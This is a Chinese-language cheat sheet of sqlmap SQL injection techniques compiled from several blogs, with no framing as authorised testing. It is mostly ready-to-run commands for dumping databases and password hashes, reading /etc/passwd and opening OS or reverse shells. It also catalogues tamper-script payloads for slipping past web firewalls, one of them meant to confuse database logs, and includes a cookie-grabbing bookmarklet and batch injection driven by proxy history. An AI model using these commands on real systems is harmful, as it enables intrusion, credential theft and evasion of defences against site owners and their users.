Sqlmap注入技巧收集整理
TIP1
當我們注射的時候,判斷注入
你可以用burp的intruder的字典跑,但是仍然失敗。
這裡可以用到SQL語句的case when …then … else … end語句CASE WHEN語句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型資料庫都受到支援,是標準的SQL語句。可以這樣子理解:CASE… WHEN… THEN …ELSE …END
CASE WHEN 語法有兩種情況:(1) 第一種是CASE 後面不帶表示式的;
CASE WHEN expression THEN 操作1
WHEN expression THEN 操作2
.......
ELSE 操作
END
(2) 第二種是CASE 後面帶表示式的(而此時WHEN 後面的則是該表示式可能的值),通用。
CASE expression
WHEN expression值1 THEN 操作1
WHEN expression值2 THEN 操作2
.......
ELSE 操作n
END
可以很明顯的看到返回不同,然後可以判斷注入。那麼怎麼能讓sqlmap去識別呢?Sqlmap預設是自己尋找注入點的,但是你加上一個*,可以引導他。語句
sqlmap.py -u http://host/script?id=11-(casewhen 1=1星號then1)
注入最頭痛的就是遇到過濾,sqlmap提供了字元轉換的功能
“–tamper=between”當然自己可以改寫轉換內容,檔案在/tamper目錄下。
關於post注入 sqlmap可以用-r引數 載入資料包
sqlmap.py -r post.txt
繼續補充一點: having xor等邏輯符號也可以判斷注入。
TIP2
(1) POST注入
有兩種方法來進行post注入,一種是使用--data引數,將post的key和value用類似GET方式來提交。二是使用-r引數,sqlmap讀取使用者抓到的POST請求包,來進行POST注入檢測。
(2) 檢視payload
之前一直是加本地代理,然後用burpsuit來看sqlmap的payload,到現在才發現用
(3) 使用google搜尋
sqlmap可以測試google搜尋結果中的sql注入,很強大的功能吧。使用方法是引數-g。不過感覺實際使用中這個用的還是很少的。
(4) 請求延時
在注入過程中請求太頻繁的話可能會被防火牆攔截,這時候--delay引數就起作用了。可以設定兩次HTTP請求間的延時。有的web程式會在多次錯誤訪問後遮蔽所有請求,這樣就導致之後所有的測試無法進行,繞過這個策略可以使用--safe-url,每隔一段時間去訪問一個正常的頁面。
(5) 偽靜態頁面
有些web伺服器進行了url rewrite或者網站是偽靜態的,無法直接提供測試引數,這樣子可以使用*來代替要測試的引數。
(6) 執行系統命令
當資料庫支援,並且當前使用者有許可權的時候,可以執行系統命令,使用--os-cmd或者--os-shell,具體的講,當可以執行多語句的時候,會嘗試用UDF(MySQL,PostgrepSQL)或者xp_cmdshell(MSSQL)來執行系統命令。不能執行多語句時,仍然會嘗試建立一個webshell來執行語句,這時候就需要web的絕對路徑了。總體來說,成功率偏低,不過個人也有成功的經驗~
(7) 測試等級
sqlmap使用--level引數來進行不同全面性的測試,預設為1,不同的引數影響了使用哪些payload,2時會進行cookie注入檢測,3時會進行useragent檢測。
-------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------
常用引數:
(1)判斷當前使用者是否是dba: ./sqlmap.py -u "url" --is-dba -v 1
(2)列出資料庫管理系統使用者:./sqlmap.py -u "url" --users -v 0
(3)資料庫使用者密碼(hash):
./sqlmap.py -u "url" --passwords -v 0
./sqlmap.py -u "url" --passwords -U sa -v 0
(4)檢視使用者許可權:
./sqlmap.py -u "url" --privileges -v 0
./sqlmap.py -u "url" --privileges -U postgres -v 0
(5)列出資料庫:
./sqlmap.py -u "url" --dbs -v 0
(6)列出資料庫表:
./sqlmap.py -u "url" --tables -D "information_scheam"
(7)列出表中的列名:
./sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
(8)列出指定列的內容:
./sqlmap.py -u "url" --dump -T "users" -D "testdb" -C “指定欄位”
指定範圍:
./sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
(9)列出所有資料庫,所有表內容:
./sqlmap.py -u "url" --dump-all -v 0
只列出使用者自己新建的資料庫和表的內容:
./sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
(10)讀取檔案內容[load_file(函式)]:
./sqlmap.py -u "url" --file /etc/password
(11)執行SQL:
./sqlmap.py -u "url" --sql-shell
(12)指定引數:
./sqlmap.py -u "url" -p "id" -v 1
(13)POST提交:
./sqlmap.py -u "url" --method POST --data "id=1"
(14)COOKIE提交:
./sqlmap.py -u "url" --cookie "id=1" -v 1
(15)refer欺騙:
./sqlmap.py -u "url" --refer "url" -v 3
(16)使用自定義user-agent或者user-agents.txt:
./sqlmap.py -u "url" --user-agent "Mozilla/4.0(compatible;MSIE 7.0;Windows NT5.1)" -v 3
./sqlmap.py -u "url" -a "./txt/user-agents.txt" -v 1
(17)使用多執行緒猜解:
./sqlmap.py -u "url" --current-user --threads 3 -v 1
(18)指定資料庫,繞過salmap自動檢測:
./sqlmap.py -u "url" --dbms "PostgreSQL" -v 2
(19)指定作業系統:
./sqlmap.py -u "url" --os "Windows" -v 2
(20)自動義payload:
./sqlmap.py -u "url" -p "id" --prefix " ' " --postfix "and 'test' = 'test "
(21)union注入測試:
./sqlmap.py -u "url" --union-test -v 1
(22)配合order by:
./sqlmap.py -u "url" --union-test --union-tech orderby -v 1
(23) ./sqlmap.py -u "url" --union-use --banner -v 1
./sqlmap.py -u "url" --union-use --current-user -v 5
./sqlmap.py -u "url" --union-use --dbs -v 1
========================================================================
========================================================================
1. 基礎用法:
./sqlmap.py -u “注入地址” -v 1 –dbs // 列舉資料庫
./sqlmap.py -u “注入地址” -v 1 –current-db // 當前資料庫
./sqlmap.py -u “注入地址” -v 1 –users // 列資料庫使用者
./sqlmap.py -u “注入地址” -v 1 –current-user // 當前使用者
./sqlmap.py -u “注入地址” -v 1 –tables -D “資料庫” // 列舉資料庫的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “資料庫” // 獲取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “欄位,欄位” -T “表名” -D “資料庫” // 獲取表中的資料,包含列
已經開始拖庫了,SQLMAP是非常人性化的,它會將獲取的資料儲存sqlmap/output/中
2. sqlmap post注入
我們在使用Sqlmap進行post型注入時,
經常會出現請求遺漏導致注入失敗的情況。
這裡分享一個小技巧,即結合burpsuite來使用sqlmap,
用這種方法進行post注入測試會更準確,操作起來也非常容易。
1. 瀏覽器開啟目標地址http:// www.2cto.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以攔截請求
3. 點選login表單的submit按鈕
4. 如下圖,這時候Burp會攔截到了我們的登入POST請求
5. 把這個post請求複製為txt, 我這命名為search-test.txt 然後把它放至sqlmap目錄下
6. 執行sqlmap並使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass
這裡引數-r 是讓sqlmap載入我們的post請求rsearch-test.txt,
而-p 大家應該比較熟悉,指定注入用的引數。
3.sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″ –dbs –level 2
預設情況下SQLMAP只支援GET/POST引數的注入測試,但是當使用–level 引數且數值>=2的時候也會檢查cookie時面的引數,當>=3的時候將檢查User-agent和Referer,那麼這就很簡單了,我 們直接在原有的基礎上面加上 –level 2 即可
利用sqlmap cookies注入突破使用者登入繼續注入
先把使用者登陸的cookie拿到吧,
在收藏夾新增一個連結cookies屬性:
名字自己取
javascript:alert(document.cookie),,需要獲取當前cookie的時候,
直接點一下這個連結,然後複製一下彈出對話方塊
裡的cookie值就搞定了
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
-p是指指定引數注入
4. sqlmap遇到url重寫的注入
哪裡存在注入就加上 * 號
./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
5.sqlmap 編碼繞waf注入
./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼指令碼自行載入
6.結合burp批量注入用法
(1) -l 從Burp或WebScarab代理的日誌中解析目標
a)利用burp代理,轉到history選項卡,選中資料包右鍵-->save items,儲存文件a.txt
b)./sqlmap.py --batch -l a.txt(即可批量注入,--batch)
(2)-m 批量注入url連線檔案
a)利用burp代理,轉到history選項卡,選中資料包右鍵-->copy URLs,儲存文件b.txt
b)./sqlmap.py --batch -m b.txt
----------------------------------------------------------------------------
----------------------------------------------------------------------------
其他基礎:sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #獲取當前使用者名稱稱 sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db #獲取當前資料庫名稱 sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –tables -D “db_name” #列表名 sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列欄位 sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –dump -C “column_name” -T “table_name” -D “db_name” -v 0 #獲取欄位內容 ******************資訊獲取******************
sqlmap -u “ –smart –dbms “Mysql” –users #列資料庫使用者
sqlmap -u “ –smart –dbms “Mysql” –dbs#列資料庫
sqlmap -u “ –smart –dbms “Mysql”–passwords #資料庫使用者密碼
sqlmap -u “ –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定使用者資料庫密碼
sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有資料庫所有表
sqlmap -u “ –smart –dbms “Mysql”–privileges #檢視許可權
sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #檢視指定使用者許可權
sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是資料庫管理員
sqlmap -u “ –smart –dbms “Mysql” –roles #列舉資料庫使用者角色
sqlmap -u “ –smart –dbms “Mysql”–udf-inject #匯入使用者自定義函式(獲取系統許可權!)
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出當前庫所有表
sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支援union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查詢表記錄
sqlmap -u “ –smart –dbms “Mysql” –union-test #union 語句測試
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #採用union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入
sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “ –smart –dbms “Mysql”-b #獲取banner資訊
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“ #指定關鍵詞
sqlmap -u “ –smart –dbms “Mysql”–sql-shell #執行指定sql命令
sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd
sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #執行系統命令
sqlmap -u “ –smart –dbms “Mysql”–os-shell #系統互動shell
sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反彈
shell sqlmap -u “ –smart –dbms “Mysql”–reg-read #讀取win系統登錄檔
sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #儲存進度
sqlmap -u “ –smart –dbms “Mysql” –dbs -o “sqlmap.log” –resume #恢復已儲存進度
======================================================================================
======================================================================================
SQLMAP自帶的繞過指令碼 --tamper詳解
首先這個文章我是轉來的
http://www.chuhades.com/post/19590b_4cc51f
確實很實用,就當記錄一下吧,方便日後查詢。
(1)apostrophemask.py UTF-8編碼
Example:
* Input: AND '1'='1'
* Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87
(2)apostrophenullencode.py unicode編碼
Example:
* Input: AND '1'='1'
* Output: AND %00%271%00%27=%00%271%00%27
(3)appendnullbyte.py 新增%00
Example:
* Input: AND 1=1
* Output: AND 1=1%00
Requirement:
* Microsoft Access
(4)base64encode.py base64編碼
Example:
* Input: 1' AND SLEEP(5)#
* Output: MScgQU5EIFNMRUVQKDUpIw==
(5)between.py 以”not between”替換”>“
Example:
* Input: 'A > B'
* Output: 'A NOT BETWEEN 0 AND B'
(6)bluecoat.py 以隨機的空白字元替代空格,以”like”替代”=“
Example:
* Input: SELECT id FROM users where id = 1
* Output: SELECT%09id FROM users where id LIKE 1
Requirement:
* MySQL 5.1, SGOS
(7)chardoubleencode.py 雙重url編碼
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
(8)charencode.py url編碼
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
(9)charunicodeencode.py 對未進行url編碼的字元進行unicode編碼
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Requirement:
* ASP
* ASP.NET
(10)equaltolike.py 以”like”替代”=“
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
(11)halfversionedmorekeywords.py在每個關鍵字前新增條件註釋
Example:
* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Requirement:
* MySQL < 5.1
(12)ifnull2ifisnull.py 以”IF(ISNULL(A), B, A)”替換”IFNULL(A, B)”
Example:
* Input: IFNULL(1, 2)
* Output: IF(ISNULL(1), 2, 1)
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
(13)modsecurityversioned.py 條件註釋
Example:
* Input: 1 AND 2>1--
* Output: 1 /*!30000AND 2>1*/--
Requirement:
* MySQL
(14)modsecurityzeroversioned.py 條件註釋,0000
Example:
* Input: 1 AND 2>1--
* Output: 1 /*!00000AND 2>1*/--
Requirement:
* MySQL
(15)multiplespaces.py 新增多個空格
Example:
* Input: UNION SELECT
* Output: UNION SELECT
(16)nonrecursivereplacement.py 可以繞過對關鍵字刪除的防注入(這個我也不知道怎麼說好,看例子。。。)
Example:
* Input: 1 UNION SELECT 2--
* Output: 1 UNUNIONION SELSELECTECT 2--
(17)percentage.py 在每個字元前新增百分號(%)
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP
(18)randomcase.py 隨即大小寫
Example:
* Input: INSERT
* Output: InsERt
(19)randomcomments.py 隨機插入區塊註釋
Example:
'INSERT' becomes 'IN/**/S/**/ERT'
securesphere.py 語句結尾新增”真”字串
Example:
* Input: AND 1=1
* Output: AND 1=1 and '0having'='0having'
(20)sp_password.py 語句結尾新增”sp_password”迷惑資料庫日誌(很。。。)
Example: www.2cto.com
* Input: 1 AND 9227=9227--
* Output: 1 AND 9227=9227--sp_password
Requirement:
* MSSQL
(21)space2comment.py 以區塊註釋替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT/**/id/**/FROM/**/users
(22)space2dash.py 以單行註釋”--”和隨機的新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
Requirement:
* MSSQL
* SQLite
(23)space2hash.py 以單行註釋”#”和由隨機字元組成的新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL
(24)space2morehash.py 沒看出來和上面那個有什麼區別。。
Requirement:
* MySQL >= 5.1.13
(25)space2mssqlblank.py 以隨機空白字元替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
Requirement:
* Microsoft SQL Server
(26)space2mssqlhash.py 以單行註釋”#”和新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1%23%0A9227=9227
Requirement:
* MSSQL
* MySQL
(27)space2mysqlblank.py 以隨機空白字元替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
Requirement:
* MySQL
(28)space2mysqldash.py 以單行註釋和新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1--%0AAND--%0A9227=9227
Requirement:
* MySQL
* MSSQL
(29)space2plus.py 以”+”替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT+id+FROM+users
(30)space2randomblank.py 隨機空白字元替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT\rid\tFROM\nusers
(31)unionalltounion.py 以”union all”替換”union”
Example:
* Input: -1 UNION ALL SELECT
* Output: -1 UNION SELECT
(32)unmagicquotes.py 以”%bf%27”替換單引號,並在結尾添加註釋”--”
Example:
* Input: 1' AND 1=1
* Output: 1%bf%27 AND 1=1--%20
(33)versionedkeywords.py 對不是函式的關鍵字條件註釋
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
(34)versionedmorekeywords.py 對關鍵字條件註釋
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13
------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------
SQLMAP引數詳解
#HiRoot's BlogOptions(選項):
--version 顯示程式的版本號並退出
-h, --help 顯示此幫助訊息並退出
-v VERBOSE 詳細級別:0-6(預設為1)
Target(目標):
以下至少需要設定其中一個選項,設定目標URL。
-d DIRECT 直接連線到資料庫。
-u URL, --url=URL 目標URL。
-l LIST 從Burp或WebScarab代理的日誌中解析目標。
-r REQUESTFILE 從一個檔案中載入HTTP請求。
-g GOOGLEDORK 處理Google dork的結果作為目標URL。
-c CONFIGFILE 從INI配置檔案中載入選項。
Request(請求):
這些選項可以用來指定如何連線到目標URL。
--data=DATA 通過POST傳送的資料字串
--cookie=COOKIE HTTP Cookie頭
--cookie-urlencode URL 編碼生成的cookie注入
--drop-set-cookie 忽略響應的Set - Cookie頭資訊
--user-agent=AGENT 指定 HTTP User - Agent頭
--random-agent 使用隨機選定的HTTP User - Agent頭
--referer=REFERER 指定 HTTP Referer頭
--headers=HEADERS 換行分開,加入其他的HTTP頭
--auth-type=ATYPE HTTP身份驗證型別(基本,摘要或NTLM)(Basic, Digest or NTLM)
--auth-cred=ACRED HTTP身份驗證憑據(使用者名稱:密碼)
--auth-cert=ACERT HTTP認證證書(key_file,cert_file)
--proxy=PROXY 使用HTTP代理連線到目標URL
--proxy-cred=PCRED HTTP代理身份驗證憑據(使用者名稱:密碼)
--ignore-proxy 忽略系統預設的HTTP代理
--delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒
--timeout=TIMEOUT 等待連線超時的時間(預設為30秒)
--retries=RETRIES 連線超時後重新連線的時間(預設3)
--scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表示式
--safe-url=SAFURL 在測試過程中經常訪問的url地址
--safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL
Optimization(優化):
這些選項可用於優化SqlMap的效能。
-o 開啟所有優化開關
--predict-output 預測常見的查詢輸出
--keep-alive 使用持久的HTTP(S)連線
--null-connection 從沒有實際的HTTP響應體中檢索頁面長度
--threads=THREADS 最大的HTTP(S)請求併發量(預設為1)
Injection(注入):
這些選項可以用來指定測試哪些引數, 提供自定義的注入payloads和可選篡改指令碼。
-p TESTPARAMETER 可測試的引數(S)
--dbms=DBMS 強制後端的DBMS為此值
--os=OS 強制後端的DBMS作業系統為這個值
--prefix=PREFIX 注入payload字串字首
--suffix=SUFFIX 注入payload字串字尾
--tamper=TAMPER 使用給定的指令碼(S)篡改注入資料
Detection(檢測):
這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。
--level=LEVEL 執行測試的等級(1-5,預設為1)
--risk=RISK 執行測試的風險(0-3,預設為1)
--string=STRING 查詢時有效時在頁面匹配字串
--regexp=REGEXP 查詢時有效時在頁面匹配正則表示式
--text-only 僅基於在文字內容比較網頁
Techniques(技巧):
這些選項可用於調整具體的SQL注入測試。
--technique=TECH SQL注入技術測試(預設BEUST)
--time-sec=TIMESEC DBMS響應的延遲時間(預設為5秒)
--union-cols=UCOLS 定列範圍用於測試UNION查詢注入
--union-char=UCHAR 用於暴力猜解列數的字元
Fingerprint(指紋):
-f, --fingerprint 執行檢查廣泛的DBMS版本指紋
Enumeration(列舉):
這些選項可以用來列舉後端資料庫管理系統的資訊、表中的結構和資料。此外,您還可以執行您自己
的SQL語句。
-b, --banner 檢索資料庫管理系統的標識
--current-user 檢索資料庫管理系統當前使用者
--current-db 檢索資料庫管理系統當前資料庫
--is-dba 檢測DBMS當前使用者是否DBA
--users 列舉資料庫管理系統使用者
--passwords 列舉資料庫管理系統使用者密碼雜湊
--privileges 列舉資料庫管理系統使用者的許可權
--roles 列舉資料庫管理系統使用者的角色
--dbs 列舉資料庫管理系統資料庫
--tables 列舉的DBMS資料庫中的表
--columns 列舉DBMS資料庫表列
--dump 轉儲資料庫管理系統的資料庫中的表項
--dump-all 轉儲所有的DBMS資料庫表中的條目
--search 搜尋列(S),表(S)和/或資料庫名稱(S)
-D DB 要進行列舉的資料庫名
-T TBL 要進行列舉的資料庫表
-C COL 要進行列舉的資料庫列
-U USER 用來進行列舉的資料庫使用者
--exclude-sysdbs 列舉表時排除系統資料庫
--start=LIMITSTART 第一個查詢輸出進入檢索
--stop=LIMITSTOP 最後查詢的輸出進入檢索
--first=FIRSTCHAR 第一個查詢輸出字的字元檢索
--last=LASTCHAR 最後查詢的輸出字字元檢索
--sql-query=QUERY 要執行的SQL語句
--sql-shell 提示互動式SQL的shell
Brute force(蠻力):
這些選項可以被用來執行蠻力檢查。
--common-tables 檢查存在共同表
--common-columns 檢查存在共同列
User-defined function injection(使用者自定義函式注入):
這些選項可以用來建立使用者自定義函式。
--udf-inject 注入使用者自定義函式
--shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問檔案系統):
這些選項可以被用來訪問後端資料庫管理系統的底層檔案系統。
--file-read=RFILE 從後端的資料庫管理系統檔案系統讀取檔案
--file-write=WFILE 編輯後端的資料庫管理系統檔案系統上的本地檔案
--file-dest=DFILE 後端的資料庫管理系統寫入檔案的絕對路徑
Operating system access(作業系統訪問):
這些選項可以用於訪問後端資料庫管理系統的底層作業系統。
--os-cmd=OSCMD 執行作業系統命令
--os-shell 互動式的作業系統的shell
--os-pwn 獲取一個OOB shell,meterpreter或VNC
--os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC
--os-bof 儲存過程緩衝區溢位利用
--priv-esc 資料庫程序使用者許可權提升
--msf-path=MSFPATH Metasploit Framework本地的安裝路徑
--tmp-path=TMPPATH 遠端臨時檔案目錄的絕對路徑
Windows登錄檔訪問:
這些選項可以被用來訪問後端資料庫管理系統Windows登錄檔。
--reg-read 讀一個Windows登錄檔項值
--reg-add 寫一個Windows登錄檔項值資料
--reg-del 刪除Windows登錄檔鍵值
--reg-key=REGKEY Windows登錄檔鍵
--reg-value=REGVAL Windows登錄檔項值
--reg-data=REGDATA Windows登錄檔鍵值資料
--reg-type=REGTYPE Windows登錄檔項值型別
General(一般):
這些選項可以用來設定一些一般的工作引數。
-t TRAFFICFILE 記錄所有HTTP流量到一個文字檔案中
-s SESSIONFILE 儲存和恢復檢索會話檔案的所有資料
--flush-session 重新整理當前目標的會話檔案
--fresh-queries 忽略在會話檔案中儲存的查詢結果
--eta 顯示每個輸出的預計到達時間
--update 更新SqlMap
--save file儲存選項到INI配置檔案
--batch 從不詢問使用者輸入,使用所有預設配置。
Miscellaneous(雜項):
--beep 發現SQL注入時提醒
--check-payload IDS對注入payloads的檢測測試
--cleanup SqlMap具體的UDF和表清理DBMS
--forms 對目標URL的解析和測試形式
--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果
--page-rank Google dork結果顯示網頁排名(PR)
--parse-errors 從響應頁面解析資料庫管理系統的錯誤訊息
--replicate 複製轉儲的資料到一個sqlite3資料庫
--tor 使用預設的Tor(Vidalia/ Privoxy/ Polipo)代理地址
--wizard 給初級使用者的簡單向導介面
//--http://blog.csdn.net/ghosttzs--//